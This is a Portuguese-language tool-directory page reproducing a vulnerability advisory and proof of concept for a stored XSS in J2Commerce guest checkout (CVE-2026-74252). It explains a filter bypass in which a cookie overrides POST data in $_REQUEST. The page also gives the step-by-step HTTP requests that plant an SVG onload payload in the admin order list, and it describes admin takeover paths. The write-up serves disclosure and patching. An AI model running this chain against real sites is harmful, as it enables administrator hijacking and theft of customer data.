Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-74252 — XSS armazenado no Guest Checkout do J2Commerce via bypass do filtro de cookies | Kitploit
Ferramentas/GitHubGitHub/toanln-cov/cve-2026-74252
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

XSS armazenado no Guest Checkout do J2Commerce via bypass do filtro de cookies

Ver Repositório
há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

XSS Armazenado no Checkout de Convidado do J2Commerce via Bypass do Filtro de Cookie

J2Commerce (com_j2store) ≤ 4.1.5 — Atacante não autenticado armazena payload XSS que é executado automaticamente no navegador do administrador ao carregar a página

CVE CVSS v4.0 CWE-79 Affected Researcher


RESUMO

O J2Commerce 4.1.5 é vulnerável a Cross-Site Scripting (XSS) Armazenado por meio dos campos de endereço de cobrança no checkout de convidado. Um atacante não autenticado explora um bypass de filtro no Input::getArray() do Joomla combinado com o variables_order=EGPCS do PHP (Cookie sobrescreve POST em $_REQUEST) para armazenar HTML não sanitizado em campos como billing_first_name. Esses campos são exibidos diretamente no painel administrativo de gerenciamento de pedidos sem , fazendo com que o payload seja executado no navegador do administrador.

Baixar ferramenta
htmlspecialchars()

O payload XSS dispara automaticamente ao carregar a página quando o administrador navega até a listagem de pedidos — nenhum clique em um pedido individual é necessário. Uma única cadeia de requisições HTTP (adicionar ao carrinho → enviar checkout com bypass via cookie → confirmar pedido) armazena permanentemente o payload, que será executado no navegador de todo administrador até que o pedido seja excluído ou a vulnerabilidade seja corrigida.

O ataque não exige autenticação do atacante. O checkout de convidado é um recurso padrão e comumente habilitado em sites de e-commerce, oferecendo incentivo econômico para que administradores visualizem novos pedidos — tornando a exploração trivial de armar.


VERSÕES AFETADAS

COMPONENTVULNERÁVELTESTADO EMCORRIGIDO
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 no Joomla 5.4.7 + MySQL 8.03.3.21 / 4.0.21 / 4.1.6

DETALHES DA VULNERABILIDADE

Tipo: Cross-Site Scripting — Armazenado (CWE-79) Autenticação necessária: Nenhuma — não autenticado (checkout de convidado) Sink primário: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 Caminho de gravação: components/com_j2store/controllers/checkouts.php:535

Causa Raiz

A vulnerabilidade consiste em duas fraquezas que se combinam: um bypass de filtro de entrada no caminho de gravação e a ausência de codificação de saída no caminho de leitura.

1. Bypass do filtro de entrada — mau uso do Input::getArray() do Joomla

O controlador de checkout de convidado do J2Commerce lê os campos de endereço usando $app->input->getArray($_POST). A implementação do Joomla itera sobre o array $_POST e usa cada valor como um tipo de filtro (não como dado), enquanto lê o valor real de $_REQUEST:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — CAMINHO DE GRAVAÇÃO

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — MÉTODO GETARRAY() (LINHA 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — FONTE DE DADOS (LINHA 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. variables_order do PHP — Cookie sobrescreve POST em $_REQUEST

O $_REQUEST do PHP é uma superglobal mesclada construída a partir de $_GET, $_POST e $_COOKIE. Quando variables_order=EGPCS (o padrão compilado na maioria dos ambientes PHP), Cookie (C) vem depois de POST (P), portanto Cookie vence para chaves conflitantes.

Enviar first_name=RAW no corpo do POST faz com que o InputFilter::clean() do Joomla aplique o tipo de filtro 'Raw' (no-op) contra o valor do cookie first_name=<svg...>, que vence em $_REQUEST.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — MÉTODO CLEAN() (LINHA 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

Resultado final: o corpo do POST first_name=RAW define o filtro como um no-op. O cookie first_name=<svg onload="alert(document.domain)"> vence em $_REQUEST. O Joomla retorna o valor do cookie sem filtro. O J2Commerce o armazena cru em j2store_orderinfos.billing_first_name.

3. Codificação de saída ausente — sinks nos templates administrativos

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — SINK PRIMÁRIO (dispara ao carregar a página de listagem)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SINK SECUNDÁRIO

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

Este bypass funciona em todos os ambientes PHP, exceto Debian/Ubuntu (que define explicitamente request_order = "GP", excluindo cookies de $_REQUEST). Todos os outros grandes ambientes de hospedagem — hospedagem compartilhada cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — usam EGPCS por padrão, tornando a sobrescrita via Cookie ativa logo de fábrica, sem necessidade de alterações de configuração.


PROVA DE CONCEITO

1. Linha de Base do Administrador — Listagem de Pedidos Antes do Ataque

Abra a listagem de pedidos do administrador do J2Commerce como o administrador vítima. Isso confirma que o administrador está usando ativamente o painel e encontrará o payload na próxima visita.

s1-step1-admin-orders-baseline

2. Extrair o Token CSRF do Frontend

Como atacante não autenticado, envie uma requisição GET para a página inicial do frontend do J2Commerce para estabelecer uma sessão e extrair o token CSRF embutido nas opções JSON da página. Esse token é necessário para as requisições POST subsequentes.

s1-step2-csrf-token-extract

3. Adicionar Produto ao Carrinho

Adicione um produto ao carrinho do atacante. O carrinho deve estar não vazio para que o endpoint de checkout de convidado aceite o envio do endereço.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. BYPASS PRINCIPAL — Enviar Checkout de Convidado com o Truque de Filtro via Cookie

Envie o formulário de endereço do checkout de convidado com dois valores conflitantes para first_name:

  • Corpo do POST: first_name=RAW — O Joomla interpreta isso como o tipo de filtro (no-op)
  • Cookie: first_name=<svg...> — vence em $_REQUEST (PHP EGPCS: Cookie > POST) e é retornado sem filtro
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. Concluir a Validação de Envio

Envie a etapa de endereço de envio usando o mesmo bypass via cookie. Esta etapa define o país de envio na sessão — ignorá-la causa um erro "SHIPPING_ADDRESS_NOT_FOUND" nas etapas seguintes.

s1-step5-shipping-validate

6. Selecionar Método de Pagamento

Selecione o método de pagamento (pagamento na entrega). O campo payment_plugin não é um campo de entrada de texto suscetível a XSS.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. Obter o Hash de Confirmação do Pedido

Envie a etapa de confirmação para receber a página de resumo do pedido contendo um campo hash oculto. Esse hash é necessário para finalizar o pedido.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. Finalizar Pedido — Payload XSS Persistido no Banco de Dados

Finalize o pedido usando o hash da etapa anterior. O servidor cria o registro do pedido em joom_j2store_orderinfos com billing_first_name definido como o payload XSS bruto.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. XSS Executa no Painel do Administrador — Automático ao Carregar a Página

Como administrador vítima, navegue até a listagem de pedidos do J2Commerce. O payload XSS dispara imediatamente ao carregar a página — nenhum clique é necessário. O template default_items.php:73 renderiza billing_first_name sem escape na coluna Cliente.

Quando o administrador visualiza o pedido, a resposta do servidor inclui:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


IMPACTO

  1. Sequestro de Sessão do Administrador — O JavaScript executado no backend administrativo tem acesso aos cookies de sessão do administrador (a menos que sejam HttpOnly) e pode exfiltrá-los para um servidor controlado pelo atacante, permitindo a tomada total da conta sem exigir as credenciais do administrador.
  2. Criação de Conta de Administrador Ilegítima — O payload XSS pode chamar programaticamente a API de gerenciamento de usuários do Joomla para criar uma nova conta de superadministrador, concedendo ao atacante acesso persistente mesmo após a rotação de senha ou invalidação de sessão.
  3. Instalação de Plugin Malicioso — Com a execução de JS em nível de administrador, o atacante pode acionar endpoints de instalação de plugins para enviar um webshell PHP, alcançando a Execução Remota de Código no servidor subjacente sem interação adicional.
  4. Comprometimento Total do Site — O atacante ganha a capacidade de modificar qualquer conteúdo, extrair o banco de dados (incluindo PII de clientes e referências de pagamento), injetar malware nas páginas do frontend e estabelecer backdoors persistentes — constituindo uma tomada completa do site.
  5. Nenhum Pré-requisito de Ataque Além de Fazer um Pedido — O checkout de convidado é um recurso padrão e normalmente habilitado em sites de e-commerce. Qualquer visitante anônimo pode disparar este ataque enviando um formulário de checkout — gerando incentivo econômico (administradores revisam pedidos rotineiramente), tornando a exploração trivial de armar em larga escala.

REFERÊNCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • GitHub Advisory: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • Anúncio de Segurança do Fornecedor: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • Repositório do Fornecedor: https://github.com/j2store/J2Store